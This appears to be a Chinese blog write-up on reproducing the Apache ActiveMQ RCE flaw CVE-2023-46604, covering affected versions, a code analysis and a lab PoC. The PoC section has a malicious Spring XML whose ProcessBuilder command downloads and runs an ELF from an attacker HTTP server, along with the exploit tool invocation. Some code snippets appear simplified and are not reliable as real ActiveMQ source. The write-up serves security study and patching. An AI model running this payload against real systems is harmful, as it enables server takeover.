当前位置: 首页 > news >正文

CVE-2023-46604漏洞复现与深度分析

1. 漏洞概述

     漏洞编号:CVE-2023-46604
     漏洞类型:远程代码执行(RCE)
     CVSS评分:10.0(Critical)
     影响组件:Apache ActiveMQ OpenWire协议处理模块
     漏洞成因:

  • 反序列化类加载漏洞:攻击者通过构造恶意序列化数据,注入危险类名(如org.springframework.context.support.ClassPathXmlApplicationContext),触发远程XML配置文件加载,最终执行任意命令。

  • tightUnmarshalString 方法缺陷:未对反序列化字符串进行严格校验,可能被利用注入恶意类名或路径。

2. 影响版本

      受影响版本:

      Apache ActiveMQ < 5.15.16

      5.16.x < 5.16.7

      5.17.x < 5.17.6

      5.18.x < 5.18.3

      安全版本:

      ≥5.15.16、≥5.16.7、≥5.17.6、≥5.18.3

3. 源码分析

3.1 核心漏洞点:createThrowable()

private Throwable createThrowable(String className, String message) {try {// 直接加载攻击者控制的类名Class<?> clazz = Class.forName(className, false, getClassLoader());Constructor<?> constructor = clazz.getConstructor(String.class);return (Throwable) constructor.newInstance(message);} catch (Throwable e) {return new Throwable(className + ": " + message);}
}

漏洞说明

className 完全由攻击者控制,可注入危险类(如Spring的ClassPathXmlApplicationContext)。message 可指定远程XML URL(如http://attacker.com/malicious.xml),触发恶意Bean实例化。

3.2反序列化入口:tightUnmarshal()

public Object tightUnmarshal(OpenWireFormat wireFormat, DataInput dataIn) throws IOException {String className = dataIn.readUTF(); // 从数据流读取类名Class<?> clazz = Class.forName(className); // 直接加载类return clazz.newInstance();
}

3.3 漏洞触发链

  1. 构造恶意序列化数据

    • 注入className=org.springframework.context.support.ClassPathXmlApplicationContext

    • 注入message=http://attacker.com/malicious.xml

  2. 触发tightUnmarshalString加载恶意参数

    String clazz = tightUnmarshalString(dataIn, bs); // 类名:攻击者控制
    String message = tightUnmarshalString(dataIn, bs); // 消息:远程XML URL
    Throwable o = createThrowable(clazz, message); // 加载远程XML
  3. 远程XML执行命令

    <bean class="java.lang.ProcessBuilder"><constructor-arg><list><value>bash</value><value>-c</value><value>恶意命令</value></list></constructor-arg>
    </bean>

    4. 漏洞复现(PoC)

环境搭建(vul)

攻击步骤

(1).管理员登录(账号admin,密码admin)

(2).exp工具下载

https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ

(3)在exp工具目录开启http服务

python3 -m http.server 8001

(3).修改poc.xml文件(我的靶场环境是linux,所以用poc-linux.xml)

可以在工具目录自己创建test.elf文件

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>sh</value><value>-c</value><!-- The command below downloads the file and saves it as test.elf --><value>curl -s -o test.elf http://192.168.1.1:8001/test.elf; chmod +x ./test.elf; ./test.elf</value></list></constructor-arg></bean>
</beans>

(4).运行exp工具 

activemq-rce -i 192.168.1.100 -u http://192.168.1.1:8001/poc-linux.xml

 

(5).验证(进入靶场容器) 

docker exec -it 容器id  /bin/bash

发现生成test.elf文件

 

5. 修复建议

官方补丁

类名白名单
仅允许反序列化ActiveMQ内部安全类(如org.apache.activemq.command.*)。

private static final Set<String> ALLOWED_CLASSES = Set.of("org.apache.activemq.command.*","java.lang.Throwable"
);

    6. 总结

    • 漏洞根源:

      • 反序列化过程中未校验类名,结合tightUnmarshalString方法的字符串解析缺陷,形成完整攻击链。

    • tightUnmarshalString 问题:

      • 长度未限制、编码不严谨,可能被用于构造超长字符串或畸形数据触发DoS。

    • 修复关键:

      • 类名白名单 + 输入严格校验。

    相关文章:

  1. jQuery — DOM与CSS操作
  2. 【MySQL】MySQL表的增删改查(CRUD) —— 上篇
  3. 轻松实现文字转语音 - Coqui TTS部署实践
  4. 鸿蒙NEXT开发键值型数据工具类(ArkTs)
  5. 直线轴承在自动化机械设备中的应用
  6. PHP连接MYSQL数据库
  7. MCP协议 —— AI世界的“USB-C接口”
  8. 本地生活服务信息分类信息系统
  9. 10厘米分辨率遥感卫星升空:智慧农业与农业保险的变革与机遇——从SpaceX拼车任务看高精度遥感如何重塑农业未来
  10. Redis面试——缓存淘汰和过期删除
  11. 深度学习笔记39_Pytorch文本分类入门
  12. element-plus添加暗黑模式
  13. 【人工智能】DeepSeek 与 RAG 技术:构建知识增强型问答系统的实战
  14. 【vLLM 学习】Aqlm 示例
  15. 嵌入式ARM RISCV toolchain工具 梳理arm-none-eabi-gcc
  16. PHP腾讯云人脸核身获取FaceId
  17. 哪种电脑更稳定?Mac?Windows?还是云电脑? 实测解密
  18. YOLOv8技术详解:革命性的目标检测算法
  19. Spring lazy-init 懒加载的原理
  20. Linux 日常运维命令大全
  21. 长征十梦舟揽月稳步推进
  22. 民生访谈|电动自行车换新补贴会优化吗?今年汛期情况如何?市应急局回应
  23. 上海银行换帅,顾建忠已任党委书记
  24. 中国墨西哥商会副执行主席:深耕中国市场18年,对未来充满信心
  25. 今年底,全国新拍电视剧、纪录片将基本实现超高清化
  26. 山西一国道塌陷致2死后续:地质雷达检测出10处道路病害